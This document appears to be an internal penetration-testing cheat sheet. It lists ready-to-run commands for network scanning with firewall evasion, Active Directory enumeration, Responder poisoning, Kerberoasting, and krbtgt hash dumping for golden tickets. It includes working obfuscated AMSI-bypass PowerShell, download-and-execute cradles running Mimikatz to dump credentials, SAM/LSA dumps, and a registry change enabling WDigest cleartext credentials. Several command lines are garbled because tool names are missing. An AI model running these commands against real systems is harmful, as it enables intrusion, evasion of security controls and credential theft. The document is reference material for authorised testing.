Pentest Book
Internal Pentest


Host && Port Scanning

  • -n flag to decrease time avoiding DNS resoltion.
  • -f fragment packets as FW evasion, if no FW/IDS, remove it.
  • Also check FW evasion
# Ping discovery, Top 20, fragment packets, no DNS resolution
sudo nmap -v --top-ports 20 X.X.X.0/24 -f -n --open -oA
# Ping discovery, Top 200, fragment packets, no DNS resolution, service version
sudo nmap -v --top-ports 200 X.X.X.0/24 -f -n -sV --open -oA
# Top 1000, fragment packets, no DNS resolution, service version, all alive (no ping)
sudo nmap -v --top-ports 1000 X.X.X.0/24 -f -n -sV -Pn --open -oA

Web detection

# httpx
cat ip.txt | httpx -silent -random-agent -status-code -timeout 15 -title -web-server -tech-detect -o httpx.txt
cat ip.txt | httpx -silent -ports <UNCOMMON.PORTS> -random-agent -status-code -timeout 15 -title -web-server -tech-detect -o httpx_uncommon.txt


Check AD section too

AD no credentials

# Detect SMB on network
responder-RunFinger -i X.X.X.0/24
# Find DC
nslookup -q=srv _ldap._tcp.dc._msdcs.<>
nslookup -type=srv _ldap._tcp.<> | grep ldap | cut -d ' ' -f 6 | sed 's/\.$//g'
# Enumerate DC
ldapsearch -h <DC.IP> -x -s base namingcontexts
# Check for null session, if got users go for ASREPRoast with GetNPUsers
ldapsearch -h <DC.IP> -x -b "DC=XX,DC=XX"
# Get hashes with no krb preauth [Domain Name]/ -dc-ip [Domain Controller IP address] -request 'DC.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip
# Get domain name
crackmapexec smb
smbmap -H -u '' -p ''
# Get Users List DC.local/ -dc-ip -debug
# Get Users from ldap
windapsearch -U — full — dc-ip
# Get base domain
ldapsearch -x -h -s base namingcontexts
# Get more info from DC
ldapsearch -x -h -b ‘DC=DCNAME,DC=LOCAL’

AD with credentials

  • Enum AD AIO
python3 -m ade --dc <> -u <[email protected]> --help
# from Windows on Domain
  • windapsearch
windapsearch -d <domain>.<name> -u <user> -p <password> --help
  • ldap
# Domain users
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(&(objectClass=user)(objectCategory=person))" name sAMAccountName userPrincipalName memberOf primaryGroupID adminCount userAccountControl description servicePrincipalName objectSid pwdLastSet lastLogon -E pr=1000/noprompt | tee domain_users.txt
# Domain computers
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=computer)" name dNSHostname memberOf operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName description userAccountControl | tee domain_computers.txt
# Domain groups
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=group)" name sAMAccountName memberOf member description objectSid | tee domain_groups.txt
  • rpcclient
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c dsr_enumtrustdom
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomains
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomusers
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomgroups
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c getdompwinfo
  • cme
# Run commands
# PS
cme smb <IP> -u <USER> -p '<PASS>' -X 'Get-Host'
cme smb <IP> -u <USER> -p '<PASS>' -x whoami
cme smb <IP> -u <USER> -H <NTHASH> -x whoami
# Other methods
cme smb <IP> -u <USER> -p '<PASS>' --exec-method {mmcexec,smbexec,atexec,wmiexec}
# Dumps
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sam
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --lsa
# Sessions
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sessions
# Logged users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --loggedon-users
# Disks
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --disks
# Users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --users #Enumerate users
# Groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --groups
# Local groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --local-groups
# Password policy
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --pass-pol


LLMNR & NBT-NS Poisoning (Responder)

  • Find a privileged user creds to reuse in other host
  • Set to Off SMB and HTTP in /usr/share/responder/Responder.conf
responder -I ppp0 -A # Only listen
responder -I ppp0 -rv exec bash # Poison
  • MultiRealy reuses hashes captured in specific host while responder is running -t X.X.X.X -u ALL


# Kerberoasting (hashcat 13100) -request -save -dc-ip <IP> domain/user # hashcat 13100
# BF -d <DC.LOCAL> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
# ASREPRoast (hashcat 18200) <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# Request ticket <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash> <domain_name>/<user_name> -aesKey <aes_key> <domain_name>/<user_name>:[password]
# Set ticket
export KRB5CCNAME=<TGT_ccache_file>
# Use it <domain_name>/<user_name>@<remote_hostname> -k -no-pass -hashes 'hash' -dc-ip [email protected] <domain_name>/<user_name>@<remote_hostname> -k -no-pass <domain_name>/<user_name>@<remote_hostname> -k -no-pass


# User hash '<DC.NAME>/<User>@<DC.IP>' -just-dc-user user1
# krbtgt hash dump -> Golden Ticket '<DC.NAME>/<User>@<DC.IP>' -just-dc-user krbtgt

AMSI Bypass

# Basic
# Obfuscation
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Other bypass
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

Common Exploits


Local Privilege Escalation

# Juicy Potato - Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation
# Works only until Windows Server 2016 and Windows 10 until patch 1803
# PrintSpoofer Exploit the PrinterBug for System Impersonation
# Works for Windows Server 2019 and Windows 10
# RoguePotato from Service Account to System
# Works for Windows Server 2019 and Windows 10
# Abusing Token Privileges
# SMBGhost CVE-2020–0796
# CVE-2021–36934 (HiveNightmare/SeriousSAM)



# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('')"
# Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose"
# PowerUp: Privilege escalation checks
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘’);Invoke-AllChecks”
# Invoke-Inveigh and log output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y"
# Invoke-Kerberoast and provide Hashcat compatible hashes
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-kerberoast -OutputFormat Hashcat"
# Invoke-ShareFinder and print output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
# Import PowerView Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('')"
# Invoke-Bloodhound
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('');Invoke-BloodHound"
# Find GPP Passwords in SYSVOL
findstr /S cpassword $env:logonserver\sysvol*.xml findstr /S cpassword %logonserver%\sysvol*.xml (cmd.exe)
# Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]
runas /user:DOMAIN\USER /noprofile powershell.exe
# Insert reg key to enable Wdigest on newer versions of Windows (restart needed)
reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1

Native commands

# User Domain
# User Domain info
Get-ADUser Anakin
# Computer Domain
(Get-WmiObject Win32_ComputerSystem).Domain
# DNS, NetBIOSName, DomainSID
Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID
# Trusted domains
nltest /domain_trusts
# Forest info
# Interesting users
Get-ADUser -Filter * | select SamAccountName
# Computer accounts
Get-ADObject -LDAPFilter "objectClass=User" -Properties SamAccountName | select SamAccountName
# Trust accounts
Get-ADUser -LDAPFilter "(SamAccountName=*$)" | select SamAccountName
# Groups
Get-ADGroup -Filter * | select SamAccountName
# Interesting groups
Get-ADGroup "Domain Admins" -Properties members,memberof
# Get DC names
nltest /dclist:<>
# Get all users in the current domain
Get-NetUser | select -ExpandProperty cn
# Get all computers in the current domain
# Get all domains in current forest
# Get domain/forest trusts
# Get information for the DA group
Get-NetGroup -GroupName "Domain Admins"
# Find members of the DA group
Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername
# Find interesting shares in the domain, ignore default shares
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC
# Get OUs for current domain
Get-NetOU -FullData
# Get computers in an OU
# %{} is a looping statement
Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}
# Get GPOs applied to a specific OU
Get-NetOU *student* | select gplink
Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"
# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
# Get incoming ACL for a specific object
Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights
# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft
# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
# Get Applocker Policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# Get computers running LAPS, along with their passwords if we're allowed to read those
# Get groups allowed to read LAPS passwords